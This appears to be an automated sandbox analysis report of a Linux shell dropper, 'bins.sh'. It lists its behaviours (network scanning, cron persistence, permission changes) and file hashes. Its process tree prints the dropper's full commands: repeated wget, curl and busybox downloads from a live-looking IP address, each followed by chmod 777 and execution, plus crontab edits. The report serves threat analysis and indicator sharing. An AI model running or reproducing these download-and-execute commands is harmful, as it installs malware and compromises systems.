Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20/11/2024, 02:44

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-c8d28syejb
  • SHA256 2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2086) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1509
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1510
        • /usr/bin/wget
          wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/chmod
          chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • File and Directory Permissions Modification
          PID:1519
        • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Executes dropped EXE
          PID:1520
        • /bin/rm
          rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
            PID:1522
          • /usr/bin/wget
            wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /bin/chmod
            chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • File and Directory Permissions Modification
            PID:1526
          • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Executes dropped EXE
            PID:1527
          • /bin/rm
            rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
              PID:1529
            • /usr/bin/wget
              wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1530
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1531
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /bin/chmod
              chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • File and Directory Permissions Modification
              PID:1533
            • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Executes dropped EXE
              PID:1534
            • /bin/rm
              rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
                PID:1536
              • /usr/bin/wget
                wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1537
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1538
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1539
              • /bin/chmod
                chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • File and Directory Permissions Modification
                PID:1540
              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Executes dropped EXE
                PID:1541
              • /bin/rm
                rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                  PID:1543
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1544
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1545
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1546
                • /bin/chmod
                  chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1547
                • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Executes dropped EXE
                  PID:1548
                • /bin/rm
                  rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                    PID:1550
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1551
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1552
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1553
                  • /bin/chmod
                    chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1554
                  • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Executes dropped EXE
                    PID:1555
                  • /bin/rm
                    rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                      PID:1557
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1558
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1559
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1560
                    • /bin/chmod
                      chmod 777 ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1561
                    • /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      ./ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1562
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1564
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1565
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1566
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1567
                          • /bin/rm
                            rm ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                            2⤵
                              PID:1569
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                              2⤵
                                PID:1572

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

                                  • Path /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP

                                  MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL

                                  • Path /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP

                                  jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

                                  • Path /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
                                  • Size 111KB
                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                  • MD5 SHA1 SHA512 SSDEEP

                                  ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo

                                  • Path /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD

                                  • Path /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP

                                  vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa

                                  • Path /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP

                                  zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I

                                  • Path /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.m79zhB

                                  • Path /var/spool/cron/crontabs/tmp.m79zhB
                                  • Size 210B
                                  • SHA256 380b2535fd7eec05a50ebc4d90cd392d9ddd7918672745a3fce4349bc7abada5
                                  • MD5 SHA1 SHA512